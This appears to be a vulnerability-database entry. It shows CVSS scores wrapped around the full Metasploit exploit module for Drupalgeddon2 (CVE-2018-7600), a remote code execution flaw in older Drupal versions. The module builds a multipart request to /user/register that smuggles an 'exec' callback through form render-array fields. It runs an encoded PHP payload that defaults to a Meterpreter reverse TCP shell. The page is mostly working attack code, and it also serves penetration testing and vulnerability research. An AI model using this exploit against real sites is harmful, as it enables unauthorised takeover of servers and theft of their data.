CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupalgeddon2',
'Description' => %q{
CVE-2018-7600 / SA-CORE-2018-002
Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1
allows remote attackers to execute arbitrary code because of an issue affecting
multiple subsystems with default or common module configurations.
The module can load msf PHP arch payloads, using the php/base64 encoder.
The resulting RCE on Drupal looks like this: php -r 'eval(base64_decode(#{PAYLOAD}));'
},
'License' => MSF_LICENSE,
'Author' =>
[
'Vitalii Rudnykh', # initial PoC
'Hans Topo', # further research and ruby port
'José Ignacio Rojo' # further research and msf module
],
'References' =>
[
['SA-CORE', '2018-002'],
['CVE', '2018-7600'],
],
'DefaultOptions' =>
{
'encoder' => 'php/base64',
'payload' => 'php/meterpreter/reverse_tcp',
},
'Privileged' => false,
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' =>
[
['User register form with exec', {}],
],
'DisclosureDate' => 'Apr 15 2018',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']),
])
register_advanced_options(
[
])
end
def uri_path
normalize_uri(target_uri.path)
end
def exploit_user_register
data = Rex::MIME::Message.new
data.add_part("php -r '#{payload.encoded}'", nil, nil, 'form-data; name="mail[#markup]"')
data.add_part('markup', nil, nil, 'form-data; name="mail[#type]"')
data.add_part('user_register_form', nil, nil, 'form-data; name="form_id"')
data.add_part('1', nil, nil, 'form-data; name="_drupal_ajax"')
data.add_part('exec', nil, nil, 'form-data; name="mail[#post_render][]"')
post_data = data.to_s
# /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri_path}user/register",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {
'element_parents' => 'account/mail/#value',
'ajax_form' => '1',
'_wrapper_format' => 'drupal_ajax',
}
})
end
##
# Main
##
def exploit
case datastore['TARGET']
when 0
exploit_user_register
else
fail_with(Failure::BadConfig, "Invalid target selected.")
end
end
end
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
100.0%